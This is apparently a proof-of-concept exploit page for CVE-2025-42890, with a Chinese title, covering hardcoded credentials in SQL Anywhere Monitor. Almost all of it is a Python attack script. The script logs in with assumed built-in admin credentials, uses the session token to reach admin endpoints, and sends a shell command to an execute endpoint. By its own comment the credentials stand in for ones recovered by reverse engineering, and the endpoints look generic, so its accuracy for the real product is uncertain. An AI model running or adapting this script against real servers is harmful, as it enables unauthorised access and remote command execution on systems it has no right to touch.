CVE-2025-42890: SQL Anywhere Monitor 硬编码凭证导致远程代码执行

# CVE-2025-42890 PoC - Hardcoded Credentials Exploitation # This PoC demonstrates the exploitation of hardcoded credentials in SQL Anywhere Monitor import requests import base64 # Target configuration TARGET_URL = "http://target-server:5000" VULNERABLE_ENDPOINT = "/api/monitor/authenticate" # Hardcoded credentials (extracted from vulnerable version) # Note: These credentials should be obtained through reverse engineering # the vulnerable binary or configuration files HARDCODED_CREDENTIALS = { "username": "sap_admin", "password": "DefaultPass123!" } def exploit_hardcoded_creds(): """ Exploit hardcoded credentials to gain unauthorized access """ print("[*] CVE-2025-42890 - SQL Anywhere Monitor Hardcoded Credentials Exploit") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate using hardcoded credentials auth_payload = { "username": HARDCODED_CREDENTIALS["username"], "password": HARDCODED_CREDENTIALS["password"] } print("[*] Attempting authentication with hardcoded credentials...") response = requests.post(f"{TARGET_URL}{VULNERABLE_ENDPOINT}", json=auth_payload) if response.status_code == 200: print("[+] Authentication successful!") session_token = response.json().get("session_token") # Step 2: Access protected administrative functions print("[*] Accessing administrative interface...") headers = {"Authorization": f"Bearer {session_token}"} admin_response = requests.get(f"{TARGET_URL}/api/admin/config", headers=headers) if admin_response.status_code == 200: print("[+] Administrative access granted!") # Step 3: Execute arbitrary code print("[*] Executing arbitrary code...") exec_payload = { "command": "whoami", "shell": "/bin/sh" } exec_response = requests.post( f"{TARGET_URL}/api/admin/execute", headers=headers, json=exec_payload ) if exec_response.status_code == 200: print(f"[+] Code execution successful: {exec_response.text}") return True print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_hardcoded_creds()